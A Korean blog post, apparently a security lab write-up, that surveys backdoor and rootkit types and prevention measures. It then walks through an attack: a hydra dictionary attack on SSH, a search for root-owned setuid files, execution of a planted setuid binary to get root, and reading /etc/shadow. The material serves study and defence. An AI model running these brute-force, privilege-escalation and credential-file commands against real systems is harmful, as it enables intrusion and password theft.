JJANG-JOON
article thumbnail
반응형

 

 

 

 

 

백도어

 

백도어(Backdoor)는 시스템의 보안 취약점을 이용하여 원격으로 시스템에 침입하거나 제어할 수 있는 경로이다.

 

 

 

 

백도어 종류 및 예방 대책

 

개발자 백도어

  • 테스트 백도어 : 시스템을 테스트하기 위해 개발자가 삽입하는 백도어이다. 일반적으로 명령어를 입력하거나 특정 포트를 열면 원격으로 시스템에 접속할 수 있도록 설계된다.
  • 디버깅 백도어 : 시스템을 디버깅하기 위해 개발자가 삽입하는 백도어이다. 일반적으로 디버거를 통해 원격으로 시스템에 접속할 수 있도록 설계된다.
  • 관리 백도어 : 시스템을 관리하기 위해 개발자가 삽입하는 백도어이다. 일반적으로 관리자 계정으로 원격으로 시스템에 접속할 수 있도록 설계된다.

악성코드 백도어

  • 트로이목마 백도어 : 트로이목마에 포함된 백도어이다. 트로이목마는 사용자의 컴퓨터에 설치되면 백도어를 생성하고, 해커가 원격으로 컴퓨터에 접속할 수 있도록 한다.
  • 웜 백도어 : 웜에 포함된 백도어이다. 웜은 네트워크를 통해 스스로 복제하고 퍼지며, 백도어를 생성하여 해커가 원격으로 컴퓨터에 접속할 수 있도록 한다.
  • 랜섬웨어 백도어 : 랜섬웨어에 포함된 백도어이다. 랜섬웨어는 컴퓨터의 데이터를 암호화하여 사용하지 못하게 한 후, 금전을 요구한다. 백도어를 통해 해커가 컴퓨터에 접속하면, 랜섬웨어의 암호화 키를 훔쳐내거나 시스템을 파괴할 수 있다.

루트킷 백도어

  • 시스템 제어 백도어 : 루트킷에 포함된 백도어로, 시스템에 대한 완전한 제어권을 획득하기 위해 사용된다.
  • 정보 탈취 백도어 : 루트킷에 포함된 백도어로, 시스템의 데이터를 탈취하기 위해 사용된다.
  • 사이버 공격 백도어 : 루트킷에 포함된 백도어로, 시스템을 공격하기 위해 사용된다.

시스템 백도어

  • 운영체제 백도어 : 운영체제에 존재하는 백도어다. 일반적으로 운영체제 개발 과정에서 생성되거나, 해커가 악용하여 시스템에 침입하기 위해 삽입한다.
  • 네트워크 장비 백도어 : 네트워크 장비에 존재하는 백도어다. 일반적으로 네트워크 장비 개발 과정에서 생성되거나, 해커가 악용하여 네트워크를 공격하기 위해 삽입한다.
  • 응용 프로그램 백도어 : 응용 프로그램에 존재하는 백도어다. 일반적으로 응용 프로그램 개발 과정에서 생성되거나, 해커가 악용하여 시스템에 침입하기 위해 삽입한다.

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

 

 

1. 패스워드 크래킹 백도어

패스워드 크래킹 백도어는 시스템의 보안 취약점을 악용하여 패스워드를 탈취하고, 이를 통해 시스템에 침입할 수 있는 백도어입니다. 패스워드 크래킹 백도어는 일반적으로 운영체제, 응용 프로그램, 네트워크 장비 등에 존재할 수 있다.

 

2. Rhosts + + 백도어

Rhosts + + 백도어는 Rhosts + + 프로토콜의 보안 취약점을 악용하여 원격으로 시스템에 접속할 수 있는 백도어이다. Rhosts + + 프로토콜은 원격 호스트의 IP 주소와 사용자 이름을 기반으로 인증을 수행하는 프로토콜이다. Rhosts + + 백도어는 Rhosts + + 프로토콜을 사용하는 시스템에 존재할 수 있다.

 

3. Checksum과 Timestamp 백도어

Checksum과 Timestamp 백도어는 파일의 체크섬이나 타임스탬프를 조작하여 원격으로 시스템에 접속할 수 있는 백도어이다. Checksum은 파일의 데이터가 손상되었는지 여부를 확인하기 위해 사용되는 값이다. Timestamp는 파일이 생성되거나 수정된 시간을 나타내는 값이다. Checksum과 Timestamp 백도어는 파일의 체크섬이나 타임스탬프를 조작하여 시스템의 보안을 우회할 수 있다.

 

4. Login 백도어

Login 백도어는 login 프로그램에 삽입된 백도어이다. Login 프로그램은 사용자가 시스템에 로그인할 때 인증을 수행하는 프로그램이다. Login 백도어는 login 프로그램을 우회하여 시스템에 침입할 수 있다.

 

5. Telnetd 백도어

Telnetd 백도어는 Telnetd 프로그램에 삽입된 백도어이다. Telnetd 프로그램은 Telnet 프로토콜을 사용하여 원격으로 시스템에 접속할 수 있도록 해주는 프로그램이다. Telnetd 백도어는 Telnet 프로토콜을 사용하여 원격으로 시스템에 접속할 수 있다.

 

6. Services 백도어

Services 백도어는 Services 파일에 삽입된 백도어다. Services 파일은 시스템의 서비스 정보를 저장하는 파일이다. Services 백도어는 Services 파일을 조작하여 원격으로 시스템에 접속할 수 있다.

 

7. Cronjob 백도어

Cronjob 백도어는 Cronjob 프로그램에 삽입된 백도어이다. Cronjob 프로그램은 정기적으로 특정 작업을 수행하도록 설정하는 프로그램이다. Cronjob 백도어는 Cronjob 프로그램을 사용하여 원격으로 시스템에 접속할 수 있다.

 

8. Library 백도어

Library 백도어는 라이브러리에 삽입된 백도어이다. 라이브러리는 프로그램에서 공통적으로 사용하는 기능을 모아둔 파일이다. Library 백도어는 라이브러리를 사용하여 원격으로 시스템에 접속할 수 있다.

 

9. Kernel 백도어

Kernel 백도어는 커널에 삽입된 백도어이다. 커널은 운영체제의 핵심 부분으로, 시스템의 모든 기능을 제어한다. Kernel 백도어는 커널을 제어하여 원격으로 시스템에 접속할 수 있다.

 

10. 파일 시스템 백도어

파일 시스템 백도어는 파일 시스템에 삽입된 백도어입니다. 파일 시스템은 파일을 저장하는 방식을 정의하는 구조이다. 파일 시스템 백도어는 파일 시스템을 조작하여 원격으로 시스템에 접속할 수 있다.

 

11. Bootblock 백도어

Bootblock 백도어는 부트블록에 삽입된 백도어이다. 부트블록은 시스템이 부팅될 때 처음으로 실행되는 코드이다. Bootblock 백도어는 부트블록을 조작하여 시스템이 부팅되는 순간부터 원격으로 시스템에 접속할 수 있다.

 

12. 프로세스 은닉 백도어

프로세스 은닉 백도어는 백도어 프로세스를 숨기는 백도어이다. 백도어 프로세스는 백도어 기능을 수행하는 프로세스이다. 프로세스 은닉 백도어는 백도어 프로세스를 숨겨서 백도어의 존재를 탐지하기 어렵게 만든다.

 

 

 

 

 

백도어 예방 대책

  • 시스템을 최신 상태로 유지 운영체제, 응용 프로그램 등의 보안 패치가 적용되어 있으면 백도어를 방지하는 데 도움이 된다.
  • 시스템의 보안 설정을 강화 암호 정책을 강화하고, 불필요한 서비스는 비활성화하는 등의 조치를 취하면 백도어를 방지하는 데 도움이 된다.
  • 백신 소프트웨어를 사용 백신 소프트웨어는 백도어를 포함한 악성코드를 탐지하고 제거하는 데 도움이 된다.
  • 시스템에 대한 모니터링을 강. 시스템의 이상 징후를 모니터링하여 백도어 침해를 조기에 발견하고 대응할 수 있다. ( 로그 사용 및 분석 )
  • SETUID 파일 검사 및 파일 무결성 검사 setuid는 특정 사용자의 권한으로 실행되도록 프로그램을 설정하는 명령이므로 setuid 권한을 가진 프로그램은 시스템에 대한 완전한 제어권을 가지고 백도어를 통해 해커는 시스템에 침입하여 원하는 작업을 수행할 수 있기 떄문에 시스템에 설치된 모든 프로그램의 setuid 권한을 검사하여 불필요한 setuid 권한을 제거하는 것이 중요하다.

 

 

 

 

 

루트킷

 

루트킷은 운영체제의 보안 취약점을 악용하여 시스템에 침입하고, 시스템의 제어권을 획득하는 악성코드이다.

 

루트킷 종류에는 아래 글과 더불어 여러 종류가 있다.

 

 

커널 모드 루트킷

커널 모드 루트킷은 운영체제의 커널에 삽입된 루트킷이다. 커널은 운영체제의 핵심 부분으로, 시스템의 모든 기능을 제어한다. 커널 모드 루트킷은 커널을 제어하여, 시스템의 보안을 우회하고 시스템에 대한 완전한 제어권을 획득할 수 있다.

 

사용자 모드 루트킷

사용자 모드 루트킷은 운영체제의 사용자 모드에 삽입된 루트킷이다. 사용자 모드는 사용자의 응용 프로그램이 실행되는 환경이다. 사용자 모드 루트킷은 사용자 모드에서 실행되는 응용 프로그램을 제어하여, 시스템에 대한 제한적인 제어권을 획득할 수 있다.

 

하이브리드 루트킷

하이브리드 루트킷은 커널 모드와 사용자 모드의 기능을 모두 갖춘 루트킷이다. 하이브리드 루트킷은 커널 모드와 사용자 모드의 장점을 모두 활용하여, 시스템에 대한 강력한 제어권을 획득할 수 있다.

 

네트워크 루트킷

네트워크 루트킷은 네트워크를 통해 시스템에 침입하여, 시스템의 제어권을 획득하는 루트킷이다. 네트워크 루트킷은 일반적으로 원격 데스크톱 프로토콜(RDP)이나 SSH와 같은 프로토콜을 사용하여 시스템에 침입한다.

 

스마트폰 루트킷

스마트폰 루트킷은 스마트폰에 침입하여, 스마트폰의 제어권을 획득하는 루트킷이다. 스마트폰 루트킷은 일반적으로 악성 앱을 통해 스마트폰에 침입한다.

 

 

 

 

 

 

 

 

 

 

실습

 

 

 

 Step 01. [Attacker] 공격자 환경 확인


-공격자 터미널 실행 및 IP 정보확인

 

 

root@kali:~# id
// 공격자의 로그인 계정 확인
root@kali:~# ifconfig
// 공격자의 IP 확인

 

 

 

 

 

Step 02. [Victim] 피해자 환경 확인


- 피해자 계정 및 IP 정보확인

 

 

 

root@localhost:~$ id
// 현재 사용하고 있는 사용자 정보 확인
root@localhost:~$ id
// 피해자의 계정 존재여부 확인
root@localhost:~$ ifconfig
// 피해자의 IP 확인

 

 

 

 

 

 

Step 03. [Attacker] 공격자 환경에서 피해서버로의 공격 시도 #1


- 공격자 환경에서 피해 서버의 일반 계정(user01)에 대한 사전 대입 공격 시도 및 결과 확인

 

(피해자의 패스워드 획득 : user01 / test01)

 

 

root@kali:~# cd sys
root@kali:~/sys# hydra -l user01 -P dictionary.txt ssh://102.10.1.91
// 네트워크 로그인/패스워드 크래킹 툴인 hydra를 통해 패스워드 크랙 시도
//-l 옵션을 사용하여 user01 사용자 이름을 지정하고, -P 옵션을 사용하여 
//dictionary.txt 파일에 있는 암호를 사용하여 로그인을 시도
//Kali Linux에 포함된 Hydra는 다양한 프로토콜 및 서비스에 대한 비밀번호 크래킹을 수행하는 무료로
//사용 가능한 오픈 소스 도구

 

 

 

 

 

 

 

 Step 04. [Attacker] 공격자 환경에서 피해서버로의 공격 시도 #2


- 앞에서 획득한 피해자 정보들(계정명, 패스워드, 을 이용해 피해자 환경 SSH 접근

 

 

 

root@kali:~/sys# ssh user01@102.10.1.91
// 피해자 환경 SSH 접근
yes, test01 입력 하여 로그인



 

 

 

 

 Step 05. [Attacker] 공격자 환경에서 피해서버로의 공격 시도 #3


- 피해자 환경 SSH 접근 후 주요 정보 포함 파일(/etc/shadow) 확인 시도 -> 접근 권한 없음 확인
- 소유자가 root이며 setuid가 설정되어 있는 파일을 find명령으로 찾기 -> rootkit으로 추정(의심)되는 파일 확인

 

 

 

 

(/temp/rootkit) 

user01@localhost:~$ cat /etc/shadow
// user01 계정으로 주요정보가 포함된 파일(/etc/shadow) 확인
user01@localhost:~$ find / -perm -4000 -user root 2>/dev/null
// 소유자가 root이며 setuid 설정이 되어있는 파일 찾기 (/temp/rootkit)

//find: 파일을 찾는 명령어입니다.
// /: 파일 시스템의 루트 디렉토리부터 검색을 시작
//-perm -4000: 파일의 권한이 4000인 것을 찾는다. 
//여기서 4000은 Setuid 비트가 설정된 것을 나타낸다.
//-user root: 파일의 소유자가 root인 것을 찾는다.
// 2>/dev/null: 오류 메시지를 무시하고 에러 출력을 /dev/null로 보낸다. 
//이렇게 함으로써, 사용자에게 오류 메시지를 표시하지 않고 실행 결과만 표시한다.

 

 

  • Setuid (Set User ID): 4
  • Setgid (Set Group ID): 2
  • Sticky: 1

 

  1. Setgid (Set Group ID):
    • Setgid 비트가 설정된 실행 파일은 해당 파일의 소유 그룹의 권한으로 실행된다.
    • 일반적으로 디렉터리에 Setgid 비트를 설정하면 해당 디렉터리에 새로운 파일이 생성되면 파일의 그룹 소유권이 디렉터리의 그룹으로 설정된다.
    • Setgid 비트는 'g'로 표현되며, 숫자로는 2로 표현된다.
  2. Sticky Bit:
    • Sticky 비트가 설정된 디렉터리는 해당 디렉터리 내의 파일은 파일 소유자만 삭제할 수 있다.
    • 주로 공유 디렉터리나 /tmp 디렉터리 등에 사용되어 여러 사용자가 파일을 생성할 수 있지만, 자신이 생성한 파일만 삭제할 수 있는 환경을 만들기 위해 사용된다.
    • Sticky 비트는 't'로 표현되며, 숫자로는 1로 표현된다.

 

 

 

 

 

 

Step 06. [Attacker] 공격자 환경에서 피해서버로의 공격 시도 #4


- 루트킷이 존재하는 디렉터리 이동 및 내용 확인

 

 

 

user01@localhost:~$ cd /temp
// 루트킷이 존재하는 디렉터리로 이동
user01@localhost:~$ ls
// 디렉터리 내 파일 확인
user01@localhost:~$ cat rootkt.c
// rootkit 추정 파일 소스 확인

 

 

 

 

Step 07. [Attacker] 공격자 환경에서 피해서버로의 공격 시도 #5


- 루트킷 추정 파일 실행 및 주요정보(/etc/shadow) 탈취

 

 

 

 

user01@localhost:~$ ./rootkit
// 루트킷 추정 파일 실행
root@localhost:~$ id
// user01 사용자로 루트 권한 획득 확인
root@localhost:~$ cat /etc/shadow
// 루트 권한 획득 후 기존 접근 거부된 파일 읽기 가능 확인

 

 

 

 

 

 


 

 

 

 

반응형
profile

JJANG-JOON

@JJANG-JOON

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!

profile on loading

Loading...